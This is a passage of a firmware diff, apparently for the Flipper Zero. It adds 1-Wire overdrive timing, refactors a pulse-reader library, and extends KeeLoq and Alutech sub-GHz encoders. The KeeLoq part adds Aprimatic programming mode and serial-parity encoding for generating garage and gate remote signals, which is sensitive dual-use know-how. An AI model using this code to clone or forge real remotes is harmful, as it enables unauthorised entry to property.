uint8_t* buffer, uint16_t count); /** * Write one bit - * @param host - * @param value + * @param [in] host pointer to OneWireHost instance + * @param value bit value to write */ void onewire_host_write_bit(OneWireHost* host, bool value); /** * Write one byte - * @param host - * @param value + * @param [in] host pointer to OneWireHost instance + * @param value byte value to write */ void onewire_host_write(OneWireHost* host, uint8_t value); /** - * Write many bytes - * @param host - * @param buffer - * @param count + * Write one or more bytes + * @param [in] host pointer to OneWireHost instance + * @param [in] buffer pointer to the data to write + * @param [in] count size of the data to write */ void onewire_host_write_bytes(OneWireHost* host, const uint8_t* buffer, uint16_t count); -/** - * Skip ROM command - * @param host - */ -void onewire_host_skip(OneWireHost* host); - /** * Start working with the bus - * @param host + * @param [in] host pointer to OneWireHost instance */ void onewire_host_start(OneWireHost* host); /** * Stop working with the bus - * @param host + * @param [in] host pointer to OneWireHost instance */ void onewire_host_stop(OneWireHost* host); /** - * - * @param host + * Reset previous search results + * @param [in] host pointer to OneWireHost instance */ void onewire_host_reset_search(OneWireHost* host); /** - * - * @param host - * @param family_code + * Set the family code to search for + * @param [in] host pointer to OneWireHost instance + * @param [in] family_code device family code */ void onewire_host_target_search(OneWireHost* host, uint8_t family_code); /** - * - * @param host - * @param newAddr - * @param mode - * @return uint8_t + * Search for devices on the 1-Wire bus + * @param [in] host pointer to OneWireHost instance + * @param [out] new_addr pointer to the buffer to contain the unique ROM of the found device + * @param [in] mode search mode + * @return true on success, false otherwise */ -uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode); +bool onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode); + +/** + * Enable overdrive mode + * @param [in] host pointer to OneWireHost instance + * @param [in] set true to turn overdrive on, false to turn it off + */ +void onewire_host_set_overdrive(OneWireHost* host, bool set); #ifdef __cplusplus } diff --git a/lib/one_wire/one_wire_host_timing.h b/lib/one_wire/one_wire_host_timing.h deleted file mode 100644 index f95dd3561..000000000 --- a/lib/one_wire/one_wire_host_timing.h +++ /dev/null @@ -1,30 +0,0 @@ -/** - * @file one_wire_host_timing.h - * - * 1-Wire library, timing list - */ - -#pragma once - -#define OWH_TIMING_A 9 -#define OWH_TIMING_B 64 -#define OWH_TIMING_C 64 -#define OWH_TIMING_D 14 -#define OWH_TIMING_E 9 -#define OWH_TIMING_F 55 -#define OWH_TIMING_G 0 -#define OWH_TIMING_H 480 -#define OWH_TIMING_I 70 -#define OWH_TIMING_J 410 - -#define OWH_WRITE_1_DRIVE OWH_TIMING_A -#define OWH_WRITE_1_RELEASE OWH_TIMING_B -#define OWH_WRITE_0_DRIVE OWH_TIMING_C -#define OWH_WRITE_0_RELEASE OWH_TIMING_D -#define OWH_READ_DRIVE 3 -#define OWH_READ_RELEASE OWH_TIMING_E -#define OWH_READ_DELAY_POST OWH_TIMING_F -#define OWH_RESET_DELAY_PRE OWH_TIMING_G -#define OWH_RESET_DRIVE OWH_TIMING_H -#define OWH_RESET_RELEASE OWH_TIMING_I -#define OWH_RESET_DELAY_POST OWH_TIMING_J diff --git a/lib/one_wire/one_wire_slave.c b/lib/one_wire/one_wire_slave.c index d1676cf3b..733b36e30 100644 --- a/lib/one_wire/one_wire_slave.c +++ b/lib/one_wire/one_wire_slave.c @@ -3,20 +3,7 @@ #include #include -#define ONEWIRE_TRSTL_MIN 270 /* Minimum Reset Low time */ -#define ONEWIRE_TRSTL_MAX 1200 /* Maximum Reset Low time */ - -#define ONEWIRE_TPDH_TYP 20 /* Typical Presence Detect High time */ -#define ONEWIRE_TPDL_MIN 100 /* Minimum Presence Detect Low time */ -#define ONEWIRE_TPDL_MAX 480 /* Maximum Presence Detect Low time */ - -#define ONEWIRE_TSLOT_MIN 60 /* Minimum Read/Write Slot time */ -#define ONEWIRE_TSLOT_MAX 135 /* Maximum Read/Write Slot time */ - -#define ONEWIRE_TW1L_MAX 20 /* Maximum Master Write 1 time */ -#define ONEWIRE_TRL_TMSR_MAX 30 /* Maximum Master Read Low + Read Sample time */ - -#define ONEWIRE_TH_TIMEOUT 15000 /* Maximum time before general timeout */ +#define TH_TIMEOUT_MAX 15000 /* Maximum time before general timeout */ typedef enum { OneWireSlaveErrorNone = 0, @@ -26,10 +13,29 @@ typedef enum { OneWireSlaveErrorTimeout, } OneWireSlaveError; +typedef struct { + uint16_t trstl_min; /* Minimum Reset Low time */ + uint16_t trstl_max; /* Maximum Reset Low time */ + + uint16_t tpdh_typ; /* Typical Presence Detect High time */ + uint16_t tpdl_min; /* Minimum Presence Detect Low time */ + uint16_t tpdl_max; /* Maximum Presence Detect Low time */ + + uint16_t tslot_min; /* Minimum Read/Write Slot time */ + uint16_t tslot_max; /* Maximum Read/Write Slot time */ + + uint16_t tw1l_max; /* Maximum Master Write 1 time */ + uint16_t trl_tmsr_max; /* Maximum Master Read Low + Read Sample time */ +} OneWireSlaveTimings; + struct OneWireSlave { const GpioPin* gpio_pin; + const OneWireSlaveTimings* timings; OneWireSlaveError error; + bool is_first_reset; + bool is_short_reset; + OneWireSlaveResetCallback reset_callback; OneWireSlaveCommandCallback command_callback; OneWireSlaveResultCallback result_callback; @@ -39,42 +45,72 @@ struct OneWireSlave { void* command_callback_context; }; +static const OneWireSlaveTimings onewire_slave_timings_normal = { + .trstl_min = 270, + .trstl_max = 1200, + + .tpdh_typ = 20, + .tpdl_min = 100, + .tpdl_max = 480, + + .tslot_min = 60, + .tslot_max = 135, + + .tw1l_max = 20, + .trl_tmsr_max = 30, +}; + +static const OneWireSlaveTimings onewire_slave_timings_overdrive = { + .trstl_min = 48, + .trstl_max = 80, + + .tpdh_typ = 0, + .tpdl_min = 8, + .tpdl_max = 24, + + .tslot_min = 6, + .tslot_max = 16, + + .tw1l_max = 2, + .trl_tmsr_max = 3, +}; + /*********************** PRIVATE ***********************/ -static uint32_t - onewire_slave_wait_while_gpio_is(OneWireSlave* bus, uint32_t time, const bool pin_value) { - uint32_t start = DWT->CYCCNT; - uint32_t time_ticks = time * furi_hal_cortex_instructions_per_microsecond(); - uint32_t time_captured; +static bool + onewire_slave_wait_while_gpio_is(OneWireSlave* bus, uint32_t time_us, const bool pin_value) { + const uint32_t time_start = DWT->CYCCNT; + const uint32_t time_ticks = time_us * furi_hal_cortex_instructions_per_microsecond(); + + uint32_t time_elapsed; do { //-V1044 - time_captured = DWT->CYCCNT; + time_elapsed = DWT->CYCCNT - time_start; if(furi_hal_gpio_read(bus->gpio_pin) != pin_value) { - uint32_t remaining_time = time_ticks - (time_captured - start); - remaining_time /= furi_hal_cortex_instructions_per_microsecond(); - return remaining_time; + return time_ticks >= time_elapsed; } - } while((time_captured - start) < time_ticks); + } while(time_elapsed < time_ticks); - return 0; + return false; } -static bool onewire_slave_show_presence(OneWireSlave* bus) { +static inline bool onewire_slave_show_presence(OneWireSlave* bus) { + const OneWireSlaveTimings* timings = bus->timings; // wait until the bus is high (might return immediately) - onewire_slave_wait_while_gpio_is(bus, ONEWIRE_TRSTL_MAX, false); + onewire_slave_wait_while_gpio_is(bus, timings->trstl_max, false); // wait while master delay presence check - furi_delay_us(ONEWIRE_TPDH_TYP); + furi_delay_us(timings->tpdh_typ); // show presence furi_hal_gpio_write(bus->gpio_pin, false); - furi_delay_us(ONEWIRE_TPDL_MIN); + furi_delay_us(timings->tpdl_min); furi_hal_gpio_write(bus->gpio_pin, true); // somebody also can show presence - const uint32_t wait_low_time = ONEWIRE_TPDL_MAX - ONEWIRE_TPDL_MIN; + const uint32_t wait_low_time = timings->tpdl_max - timings->tpdl_min; // so we will wait - if(onewire_slave_wait_while_gpio_is(bus, wait_low_time, false) == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, wait_low_time, false)) { bus->error = OneWireSlaveErrorPresenceConflict; return false; } @@ -85,27 +121,36 @@ static bool onewire_slave_show_presence(OneWireSlave* bus) { static inline bool onewire_slave_receive_and_process_command(OneWireSlave* bus) { /* Reset condition detected, send a presence pulse and reset protocol state */ if(bus->error == OneWireSlaveErrorResetInProgress) { - if(onewire_slave_show_presence(bus)) { - bus->error = OneWireSlaveErrorNone; + if(!bus->is_first_reset) { + /* Guess the reset type */ + bus->is_short_reset = onewire_slave_wait_while_gpio_is( + bus, + onewire_slave_timings_overdrive.trstl_max - + onewire_slave_timings_overdrive.tslot_max, + false); + } else { + bus->is_first_reset = false; + } - if(bus->reset_callback != NULL) { - bus->reset_callback(bus->reset_callback_context); + furi_assert(bus->reset_callback); + + if(bus->reset_callback(bus->is_short_reset, bus->reset_callback_context)) { + if(onewire_slave_show_presence(bus)) { + bus->error = OneWireSlaveErrorNone; + return true; } - - return true; } } else if(bus->error == OneWireSlaveErrorNone) { uint8_t command; - if(!onewire_slave_receive(bus, &command, 1)) { - /* Upon failure, request an additional iteration to - choose the appropriate action by checking bus->error */ - return true; - } else if(bus->command_callback) { - return bus->command_callback(command, bus->command_callback_context); - } else { - bus->error = OneWireSlaveErrorInvalidCommand; + if(onewire_slave_receive(bus, &command, sizeof(command))) { + furi_assert(bus->command_callback); + if(bus->command_callback(command, bus->command_callback_context)) { + return true; + } } + + return (bus->error == OneWireSlaveErrorResetInProgress); } return false; @@ -115,9 +160,6 @@ static inline bool onewire_slave_bus_start(OneWireSlave* bus) { FURI_CRITICAL_ENTER(); furi_hal_gpio_init(bus->gpio_pin, GpioModeOutputOpenDrain, GpioPullNo, GpioSpeedLow); - /* Start in Reset state in order to send a presence pulse immediately */ - bus->error = OneWireSlaveErrorResetInProgress; - while(onewire_slave_receive_and_process_command(bus)) ; @@ -139,7 +181,15 @@ static void onewire_slave_exti_callback(void* context) { const uint32_t pulse_length = (DWT->CYCCNT - pulse_start) / furi_hal_cortex_instructions_per_microsecond(); - if((pulse_length >= ONEWIRE_TRSTL_MIN) && pulse_length <= (ONEWIRE_TRSTL_MAX)) { + if((pulse_length >= onewire_slave_timings_overdrive.trstl_min) && + (pulse_length <= onewire_slave_timings_normal.trstl_max)) { + /* Start in reset state in order to send a presence pulse immediately */ + bus->error = OneWireSlaveErrorResetInProgress; + /* Determine reset type (chooses speed mode if supported by the emulated device) */ + bus->is_short_reset = pulse_length <= onewire_slave_timings_overdrive.trstl_max; + /* Initial reset allows going directly into overdrive mode */ + bus->is_first_reset = true; + const bool result = onewire_slave_bus_start(bus); if(result && bus->result_callback != NULL) { @@ -158,6 +208,7 @@ OneWireSlave* onewire_slave_alloc(const GpioPin* gpio_pin) { OneWireSlave* bus = malloc(sizeof(OneWireSlave)); bus->gpio_pin = gpio_pin; + bus->timings = &onewire_slave_timings_normal; bus->error = OneWireSlaveErrorNone; return bus; @@ -205,52 +256,45 @@ void onewire_slave_set_result_callback( } bool onewire_slave_receive_bit(OneWireSlave* bus) { + const OneWireSlaveTimings* timings = bus->timings; // wait while bus is low - uint32_t time = ONEWIRE_TSLOT_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, timings->tslot_max, false)) { bus->error = OneWireSlaveErrorResetInProgress; return false; } // wait while bus is high - time = ONEWIRE_TH_TIMEOUT; - time = onewire_slave_wait_while_gpio_is(bus, time, true); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, TH_TIMEOUT_MAX, true)) { bus->error = OneWireSlaveErrorTimeout; return false; } // wait a time of zero - time = ONEWIRE_TW1L_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - - return (time > 0); + return onewire_slave_wait_while_gpio_is(bus, timings->tw1l_max, false); } bool onewire_slave_send_bit(OneWireSlave* bus, bool value) { + const OneWireSlaveTimings* timings = bus->timings; // wait while bus is low - uint32_t time = ONEWIRE_TSLOT_MAX; - time = onewire_slave_wait_while_gpio_is(bus, time, false); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, timings->tslot_max, false)) { bus->error = OneWireSlaveErrorResetInProgress; return false; } // wait while bus is high - time = ONEWIRE_TH_TIMEOUT; - time = onewire_slave_wait_while_gpio_is(bus, time, true); - if(time == 0) { + if(!onewire_slave_wait_while_gpio_is(bus, TH_TIMEOUT_MAX, true)) { bus->error = OneWireSlaveErrorTimeout; return false; } // choose write time + uint32_t time; + if(!value) { furi_hal_gpio_write(bus->gpio_pin, false); - time = ONEWIRE_TRL_TMSR_MAX; + time = timings->trl_tmsr_max; } else { - time = ONEWIRE_TSLOT_MIN; + time = timings->tslot_min; } // hold line for ZERO or ONE time @@ -301,3 +345,13 @@ bool onewire_slave_receive(OneWireSlave* bus, uint8_t* data, size_t data_size) { } return true; } + +void onewire_slave_set_overdrive(OneWireSlave* bus, bool set) { + const OneWireSlaveTimings* new_timings = set ? &onewire_slave_timings_overdrive : + &onewire_slave_timings_normal; + if(bus->timings != new_timings) { + /* Prevent erroneous reset by waiting for the previous time slot to finish */ + onewire_slave_wait_while_gpio_is(bus, bus->timings->tslot_max, false); + bus->timings = new_timings; + } +} diff --git a/lib/one_wire/one_wire_slave.h b/lib/one_wire/one_wire_slave.h index 914cd9335..21114b912 100644 --- a/lib/one_wire/one_wire_slave.h +++ b/lib/one_wire/one_wire_slave.h @@ -18,68 +18,85 @@ extern "C" { typedef struct OneWireDevice OneWireDevice; typedef struct OneWireSlave OneWireSlave; -typedef void (*OneWireSlaveResetCallback)(void* context); -typedef void (*OneWireSlaveResultCallback)(void* context); +typedef bool (*OneWireSlaveResetCallback)(bool is_short, void* context); typedef bool (*OneWireSlaveCommandCallback)(uint8_t command, void* context); +typedef void (*OneWireSlaveResultCallback)(void* context); /** - * Allocate onewire slave - * @param gpio_pin - * @return OneWireSlave* + * Allocate OneWireSlave instance + * @param [in] gpio_pin connection pin + * @return pointer to OneWireSlave instance */ OneWireSlave* onewire_slave_alloc(const GpioPin* gpio_pin); /** - * Free onewire slave - * @param bus + * Destroy OneWireSlave instance, free resources + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_free(OneWireSlave* bus); /** * Start working with the bus - * @param bus + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_start(OneWireSlave* bus); /** * Stop working with the bus - * @param bus + * @param [in] bus pointer to OneWireSlave instance */ void onewire_slave_stop(OneWireSlave* bus); /** - * TODO: description comment + * Receive one bit + * @param [in] bus pointer to OneWireSlave instance + * @return received bit value */ bool onewire_slave_receive_bit(OneWireSlave* bus); /** - * TODO: description comment + * Send one bit + * @param [in] bus pointer to OneWireSlave instance + * @param [in] value bit value to send + * @return true on success, false on failure */ bool onewire_slave_send_bit(OneWireSlave* bus, bool value); /** - * Send data - * @param bus - * @param data - * @param data_size - * @return bool + * Send one or more bytes of data + * @param [in] bus pointer to OneWireSlave instance + * @param [in] data pointer to the data to send + * @param [in] data_size size of the data to send + * @return true on success, false on failure */ bool onewire_slave_send(OneWireSlave* bus, const uint8_t* data, size_t data_size); /** - * Receive data - * @param bus - * @param data - * @param data_size - * @return bool + * Receive one or more bytes of data + * @param [in] bus pointer to OneWireSlave instance + * @param [out] data pointer to the receive buffer + * @param [in] data_size number of bytes to receive + * @return true on success, false on failure */ bool onewire_slave_receive(OneWireSlave* bus, uint8_t* data, size_t data_size); /** - * Set a callback to be called on each reset - * @param bus - * @param callback - * @param context + * Enable overdrive mode + * @param [in] bus pointer to OneWireSlave instance + * @param [in] set true to turn overdrive on, false to turn it off + */ +void onewire_slave_set_overdrive(OneWireSlave* bus, bool set); + +/** + * Set a callback function to be called on each reset. + * The return value of the callback determines whether the emulated device + * supports the short reset (passed as the is_short parameter). + * In most applications, it should also call onewire_slave_set_overdrive() + * to set the appropriate speed mode. + * + * @param [in] bus pointer to OneWireSlave instance + * @param [in] callback pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_reset_callback( OneWireSlave* bus, @@ -87,10 +104,13 @@ void onewire_slave_set_reset_callback( void* context); /** - * Set a callback to be called on each command - * @param bus - * @param callback - * @param context + * Set a callback function to be called on each command. + * The return value of the callback determines whether further operation + * is possible. As a rule of thumb, return true unless a critical error happened. + * + * @param [in] bus pointer to OneWireSlave instance + * @param [in] callback pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_command_callback( OneWireSlave* bus, @@ -99,9 +119,9 @@ void onewire_slave_set_command_callback( /** * Set a callback to report emulation success - * @param bus - * @param result_cb - * @param context + * @param [in] bus pointer to OneWireSlave instance + * @param [in] result_cb pointer to a callback function + * @param [in] context additional parameter to be passed to the callback */ void onewire_slave_set_result_callback( OneWireSlave* bus, diff --git a/lib/pulse_reader/SConscript b/lib/pulse_reader/SConscript new file mode 100644 index 000000000..f00851a20 --- /dev/null +++ b/lib/pulse_reader/SConscript @@ -0,0 +1,27 @@ +Import("env") + +env.Append( + CPPPATH=[ + "#/lib/pulse_reader", + ], + SDK_HEADERS=[ + File("pulse_reader.h"), + ], +) + +libenv = env.Clone(FW_LIB_NAME="pulse_reader") +libenv.ApplyLibFlags() + +libenv.AppendUnique( + CCFLAGS=[ + # Required for lib to be linkable with .faps + "-mword-relocations", + "-mlong-calls", + ], +) + +sources = libenv.GlobRecursive("*.c*") + +lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) +libenv.Install("${LIB_DIST_DIR}", lib) +Return("lib") diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 20f993844..c8d0e3ff7 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -1,9 +1,32 @@ +#include "pulse_reader.h" + #include #include #include #include -#include "pulse_reader.h" +#include +#include +#include +#include + +struct PulseReader { + uint32_t* timer_buffer; + uint32_t* gpio_buffer; + uint32_t size; + uint32_t pos; + uint32_t timer_value; + uint32_t gpio_value; + uint32_t gpio_mask; + uint32_t unit_multiplier; + uint32_t unit_divider; + uint32_t bit_time; + uint32_t dma_channel; + const GpioPin* gpio; + GpioPull pull; + LL_DMA_InitTypeDef dma_config_timer; + LL_DMA_InitTypeDef dma_config_gpio; +}; #define GPIO_PIN_MAP(pin, prefix) \ (((pin) == (LL_GPIO_PIN_0)) ? prefix##0 : \ @@ -31,6 +54,7 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size) { signal->gpio_buffer = malloc(size * sizeof(uint32_t)); signal->dma_channel = LL_DMA_CHANNEL_4; signal->gpio = gpio; + signal->pull = GpioPullNo; signal->size = size; signal->timer_value = 0; signal->pos = 0; @@ -88,7 +112,17 @@ void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time) { signal->bit_time = bit_time; } +void pulse_reader_set_pull(PulseReader* signal, GpioPull pull) { + signal->pull = pull; +} + void pulse_reader_free(PulseReader* signal) { + furi_assert(signal); + + if(!signal) { + return; + } + free(signal->timer_buffer); free(signal->gpio_buffer); free(signal); @@ -105,6 +139,7 @@ void pulse_reader_stop(PulseReader* signal) { LL_DMA_DisableChannel(DMA1, signal->dma_channel + 1); LL_DMAMUX_DisableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); LL_TIM_DisableCounter(TIM2); + furi_hal_gpio_init_simple(signal->gpio, GpioModeAnalog); } void pulse_reader_start(PulseReader* signal) { @@ -133,13 +168,13 @@ void pulse_reader_start(PulseReader* signal) { /* we need the EXTI to be configured as interrupt generating line, but no ISR registered */ furi_hal_gpio_init_ex( - signal->gpio, GpioModeInterruptRiseFall, GpioPullNo, GpioSpeedVeryHigh, GpioAltFnUnused); + signal->gpio, GpioModeInterruptRiseFall, signal->pull, GpioSpeedVeryHigh, GpioAltFnUnused); /* capture current timer */ signal->pos = 0; - signal->start_level = furi_hal_gpio_read(signal->gpio); signal->timer_value = TIM2->CNT; signal->gpio_mask = signal->gpio->pin; + signal->gpio_value = signal->gpio->port->IDR & signal->gpio_mask; /* now set up DMA with these settings */ LL_DMA_Init(DMA1, signal->dma_channel, &signal->dma_config_timer); diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h index fb65f62bc..08056a0ac 100644 --- a/lib/pulse_reader/pulse_reader.h +++ b/lib/pulse_reader/pulse_reader.h @@ -3,10 +3,6 @@ #include #include #include -#include -#include -#include -#include #include @@ -28,26 +24,11 @@ typedef enum { PulseReaderUnitMicrosecond, } PulseReaderUnit; -typedef struct { - bool start_level; - uint32_t* timer_buffer; - uint32_t* gpio_buffer; - uint32_t size; - uint32_t pos; - uint32_t timer_value; - uint32_t gpio_value; - uint32_t gpio_mask; - uint32_t unit_multiplier; - uint32_t unit_divider; - uint32_t bit_time; - uint32_t dma_channel; - const GpioPin* gpio; - LL_DMA_InitTypeDef dma_config_timer; - LL_DMA_InitTypeDef dma_config_gpio; -} PulseReader; +/* using an anonymous type */ +typedef struct PulseReader PulseReader; /** Allocate a PulseReader object - * + * * Allocates memory for a ringbuffer and initalizes the object * * @param[in] gpio the GPIO to use. will get configured as input. @@ -56,7 +37,7 @@ typedef struct { PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size); /** Free a PulseReader object - * + * * Frees all memory of the given object * * @param[in] signal previously allocated PulseReader object. @@ -64,15 +45,16 @@ PulseReader* pulse_reader_alloc(const GpioPin* gpio, uint32_t size); void pulse_reader_free(PulseReader* signal); /** Start signal capturing - * - * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values + * + * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values. + * Ensure that interrupts are always enabled, as the used EXTI line is handled as one. * * @param[in] signal previously allocated PulseReader object. */ void pulse_reader_start(PulseReader* signal); /** Stop signal capturing - * + * * Frees DMA1, TIM2 and DMAMUX_REQ_GEN_0 * * @param[in] signal previously allocated PulseReader object. @@ -80,31 +62,31 @@ void pulse_reader_start(PulseReader* signal); void pulse_reader_stop(PulseReader* signal); /** Recevie a sample from ringbuffer - * + * * Waits for the specified time until a new edge gets detected. * If not configured otherwise, the pulse duration will be in picosecond resolution. * If a bittime was configured, the return value will contain the properly rounded * number of bit times measured. - * + * * @param[in] signal previously allocated PulseReader object. * @param[in] timeout_us time to wait for a signal [Β΅s] - * + * * @returns the scaled value of the pulse duration */ uint32_t pulse_reader_receive(PulseReader* signal, int timeout_us); /** Get available samples - * + * * Get the number of available samples in the ringbuffer * * @param[in] signal previously allocated PulseReader object. - * + * * @returns the number of samples in buffer */ uint32_t pulse_reader_samples(PulseReader* signal); /** Set timebase - * + * * Set the timebase to be used when returning pulse duration. * * @param[in] signal previously allocated PulseReader object. @@ -113,18 +95,28 @@ uint32_t pulse_reader_samples(PulseReader* signal); void pulse_reader_set_timebase(PulseReader* signal, PulseReaderUnit unit); /** Set bit time - * + * * Set the number of timebase units per bit. * When set, the pulse_reader_receive() will return an already rounded * bit count value instead of the raw duration. - * + * * Set to 1 to return duration again. * * @param[in] signal previously allocated PulseReader object. - * @param[in] bit_time + * @param[in] bit_time */ void pulse_reader_set_bittime(PulseReader* signal, uint32_t bit_time); +/** Set GPIO pull direction + * + * Some GPIOs need pulldown, others don't. By default the + * pull direction is GpioPullNo. + * + * @param[in] signal previously allocated PulseReader object. + * @param[in] pull GPIO pull direction + */ +void pulse_reader_set_pull(PulseReader* signal, GpioPull pull); + #ifdef __cplusplus } #endif diff --git a/lib/subghz/protocols/alutech_at_4n.c b/lib/subghz/protocols/alutech_at_4n.c index 7b1bd5e76..5c09e8bb8 100644 --- a/lib/subghz/protocols/alutech_at_4n.c +++ b/lib/subghz/protocols/alutech_at_4n.c @@ -320,8 +320,12 @@ bool subghz_protocol_alutech_at_4n_create_data( instance->generic.data_count_bit = 72; bool res = subghz_protocol_alutech_at_4n_gen_data(instance, btn); if(res) { - return SubGhzProtocolStatusOk == - subghz_block_generic_serialize(&instance->generic, flipper_format, preset); + res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); + if((res == SubGhzProtocolStatusOk) && + !flipper_format_write_uint32(flipper_format, "CRC", &instance->crc, 1)) { + FURI_LOG_E(TAG, "Unable to add CRC"); + res = false; + } } return res; } diff --git a/lib/subghz/protocols/alutech_at_4n.h b/lib/subghz/protocols/alutech_at_4n.h index 89adbb5c6..023fca591 100644 --- a/lib/subghz/protocols/alutech_at_4n.h +++ b/lib/subghz/protocols/alutech_at_4n.h @@ -1,6 +1,10 @@ #pragma once #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N" typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n; @@ -132,3 +136,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 4bd978c8f..ab021151d 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -88,7 +88,7 @@ static const char* mfname; static uint8_t kl_type; static uint8_t btn_temp_id; static uint8_t btn_temp_id_original; -static bool bft_prog_mode; +static uint8_t klq_prog_mode; static uint16_t temp_counter; void keeloq_set_btn(uint8_t b) { @@ -106,7 +106,7 @@ uint8_t keeloq_get_custom_btn() { void keeloq_reset_original_btn() { btn_temp_id_original = 0; temp_counter = 0; - bft_prog_mode = false; + klq_prog_mode = 0; } void keeloq_reset_mfname() { @@ -173,16 +173,27 @@ static bool subghz_protocol_keeloq_gen_data( // BFT programming mode on / off conditions if((strcmp(instance->manufacture_name, "BFT") == 0) && (btn == 0xF)) { - bft_prog_mode = true; + klq_prog_mode = 1; } - if((strcmp(instance->manufacture_name, "BFT") == 0) && (btn != 0xF) && bft_prog_mode) { - bft_prog_mode = false; + if((strcmp(instance->manufacture_name, "BFT") == 0) && (btn != 0xF) && (klq_prog_mode == 1)) { + klq_prog_mode = 0; + } + // Aprimatic programming mode on / off conditions + if((strcmp(instance->manufacture_name, "Aprimatic") == 0) && (btn == 0xF)) { + klq_prog_mode = 2; + } + if((strcmp(instance->manufacture_name, "Aprimatic") == 0) && (btn != 0xF) && + (klq_prog_mode == 2)) { + klq_prog_mode = 0; } // If we using BFT programming mode we will trasmit its seed in hop part like original remote - if(bft_prog_mode) { + if(klq_prog_mode == 1) { hop = instance->generic.seed; + } else if(klq_prog_mode == 2) { + // If we using Aprimatic programming mode we will trasmit some strange looking hop value, why? cuz manufacturer did it this way :) + hop = 0x1A2B3C4D; } - if(counter_up && !bft_prog_mode) { + if(counter_up && klq_prog_mode == 0) { if(instance->generic.cnt < 0xFFFF) { if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >= 0xFFFF) { instance->generic.cnt = 0; @@ -193,15 +204,34 @@ static bool subghz_protocol_keeloq_gen_data( instance->generic.cnt = 0; } } - if(!bft_prog_mode) { + if(klq_prog_mode == 0) { uint32_t decrypt = (uint32_t)btn << 28 | (instance->generic.serial & 0x3FF) << 16 | //ToDo in some protocols the discriminator is 0 instance->generic.cnt; - // DTM Neo uses 12bit -> simple learning -- FAAC_RC,XT , Mutanco_Mutancode -> 12bit normal learning + + if(strcmp(instance->manufacture_name, "Aprimatic") == 0) { + // Aprimatic uses 12bit serial number + 2bit APR1 "parity" bit in front of it replacing first 2 bits of serial + // Thats in theory! We need to check if this is true for all Aprimatic remotes but we got only 3 recordings to test + // For now lets assume that this is true for all Aprimatic remotes, if not we will need to add some more code here + uint32_t apri_serial = instance->generic.serial; + uint8_t apr1 = 0; + for(uint16_t i = 1; i != 0b10000000000; i <<= 1) { + if(apri_serial & i) apr1++; + } + apri_serial &= 0b00001111111111; + if(apr1 % 2 == 0) { + apri_serial |= 0b110000000000; + } + decrypt = btn << 28 | (apri_serial & 0xFFF) << 16 | instance->generic.cnt; + } + + // DTM Neo, Came_Space uses 12bit -> simple learning -- FAAC_RC,XT , Mutanco_Mutancode, Stilmatic(Schellenberg) -> 12bit normal learning if((strcmp(instance->manufacture_name, "DTM_Neo") == 0) || (strcmp(instance->manufacture_name, "FAAC_RC,XT") == 0) || - (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0)) { + (strcmp(instance->manufacture_name, "Mutanco_Mutancode") == 0) || + (strcmp(instance->manufacture_name, "Stilmatic") == 0) || + (strcmp(instance->manufacture_name, "Came_Space") == 0)) { decrypt = btn << 28 | (instance->generic.serial & 0xFFF) << 16 | instance->generic.cnt; } @@ -361,11 +391,14 @@ static bool if(instance->manufacture_name == 0x0) { instance->manufacture_name = ""; } - if(bft_prog_mode) { + if(klq_prog_mode == 1) { instance->manufacture_name = "BFT"; + } else if(klq_prog_mode == 2) { + instance->manufacture_name = "Aprimatic"; } uint8_t klq_last_custom_btn = 0xA; - if(strcmp(instance->manufacture_name, "BFT") == 0) { + if((strcmp(instance->manufacture_name, "BFT") == 0) || + (strcmp(instance->manufacture_name, "Aprimatic") == 0)) { klq_last_custom_btn = 0xF; } @@ -567,6 +600,10 @@ SubGhzProtocolStatus instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } // Read manufacturer from file if(flipper_format_read_string( flipper_format, "Manufacture", instance->manufacture_from_file)) { @@ -643,7 +680,7 @@ void* subghz_protocol_decoder_keeloq_alloc(SubGhzEnvironment* environment) { instance->keystore = subghz_environment_get_keystore(environment); instance->manufacture_from_file = furi_string_alloc(); - bft_prog_mode = false; + klq_prog_mode = 0; return instance; } @@ -1145,7 +1182,7 @@ static void subghz_protocol_keeloq_check_remote_controller( uint32_t key_hop = key & 0x00000000ffffffff; // If we are in BFT programming mode we will set previous remembered counter and skip mf keys check - if(!bft_prog_mode) { + if(klq_prog_mode == 0) { // Check key AN-Motors if((key_hop >> 24) == ((key_hop >> 16) & 